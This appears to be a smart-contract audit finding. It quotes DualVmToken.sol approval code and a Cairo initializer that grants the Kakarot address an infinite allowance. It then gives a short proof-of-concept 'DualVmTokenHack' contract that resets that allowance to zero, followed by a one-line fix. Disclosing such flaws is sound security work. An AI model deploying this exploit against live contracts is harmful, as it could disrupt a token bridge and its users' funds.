File: DualVmToken.sol
206:     /// @dev Approve a starknet address for a specific amount
207:     /// @param spender The starknet address to approve
208:     /// @param amount The amount of tokens to approve
209:     /// @return True if the approval was successful
210:     function approve(uint256 spender, uint256 amount) external returns (bool) {
211:         _approve(spender, amount);
212:         emit Approval(msg.sender, spender, amount);
213:         return true;
214:     }
215: 
216:     function _approve(uint256 spender, uint256 amount) private {
217:         if (spender >= STARKNET_FIELD_PRIME) {
218:             revert InvalidStarknetAddress();
219:         }
220:         // Split amount in [low, high]
221:         uint128 amountLow = uint128(amount);
222:         uint128 amountHigh = uint128(amount >> 128);
223:         uint256[] memory approveCallData = new uint256[](3);
224:         approveCallData[0] = spender;
225:         approveCallData[1] = uint256(amountLow);
226:         approveCallData[2] = uint256(amountHigh);
227: 
228:         starknetToken.delegatecallCairo("approve", approveCallData);
229:     }
File: library.cairo
083:     func initialize{
084:         syscall_ptr: felt*,
085:         pedersen_ptr: HashBuiltin*,
086:         range_check_ptr,
087:         bitwise_ptr: BitwiseBuiltin*,
088:     }(evm_address: felt) {
---
101:         IERC20.approve(native_token_address, kakarot_address, infinite);
contract DualVmTokenHack {
    DualVmToken target;
    
    constructor(DualVmToken _target) {
        target = _target;
    }

    fallback {
        uint256 kakarot = DualVmToken.kakarot();
        target.approve(kakarot, 0);
        address(0xdeadbeef).transfer(1 wei);
    }
}
    require(spender != kakarot);
